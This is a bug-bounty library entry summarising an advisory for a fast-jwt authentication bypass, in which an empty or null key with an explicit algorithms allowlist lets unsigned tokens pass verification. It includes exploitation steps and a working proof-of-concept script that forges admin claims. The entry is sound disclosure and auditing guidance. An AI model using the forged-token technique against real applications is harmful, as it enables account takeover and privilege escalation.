# fast-jwt: createVerifier accepts unsigned JWTs when key is '' or null and algorithms is explicitly set

fast-jwt createVerifier with falsy key ('') plus explicit algorithms allowlist skips signature verification, letting attackers forge unsigned JWTs with arbitrary claims.

- Payout: Research
- Severity: high
- Program: fast-jwt
- Found by: Char0n1507
- Disclosed: 2026-10-08
- CVE: CVE-2026-107720
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-8wpc-h4q6-8fxv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-8wpc-h4q6-8fxv
- Tags: area:oss domain:oss impact:ato impact:privesc kind:research platform:ghsa sev:high tech:jwt tech:nodejs technique:incomplete-fix technique:source-review vuln:auth-bypass

**Target:** npm JWT verification library (createVerifier)
**Root cause:** Falsy sync keys ('', null) bypass prepareKeyOrSecret's empty-secret rejection, and the signature check is gated on a truthy signature, so an empty signature falls through with no crypto when an explicit algorithms allowlist is set.
**Steps:**
1. Install fast-jwt <= 6.3.0.
2. Build an unsigned token: base64url({alg:'HS256',typ:'JWT'}) + '.' + base64url(claims) + '.' (trailing dot, empty signature).
3. Call `createVerifier({ key: '', algorithms: ['HS256'] })(token)`.
4. Observe payload returned with no signature verification; same for key:null with RS256/ES256/EdDSA allowlists.
**How found:** Reporter traced createVerifier's key-type branching and noticed the `if (key && ...)` guard skips prepareKeyOrSecret for falsy sync keys, then followed hasKey/signature gating to see empty signatures fall through without crypto; noted asymmetry with signer and async-key paths already hardened.
**Exploitation:** Attacker crafts a JWT with arbitrary claims (e.g. admin:true) and an empty signature, presenting it to any app whose verifier uses a falsy key (e.g. unset env var `process.env.JWT_SECRET || ''`) and an explicit algorithms allowlist; the verifier returns the forged payload, granting full auth/authz bypass.
**Insight:** When auditing JWT libs, check the falsy-key + explicit-algorithms combination: security hardening of empty secrets often covers Buffer and async paths but misses sync ''/null, and signature checks gated on truthiness silently skip empty signatures.

## Proof of concept (copied exactly from the original report)

**PoC script forging unsigned JWT with empty key**

```
const { createVerifier } = require('.')

function unsigned(alg, claims) {
  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
  return `${h}.${p}.`  // trailing dot = empty signature
}

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }
```

**Negative control showing empty Buffer rejected**

```
try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY
```

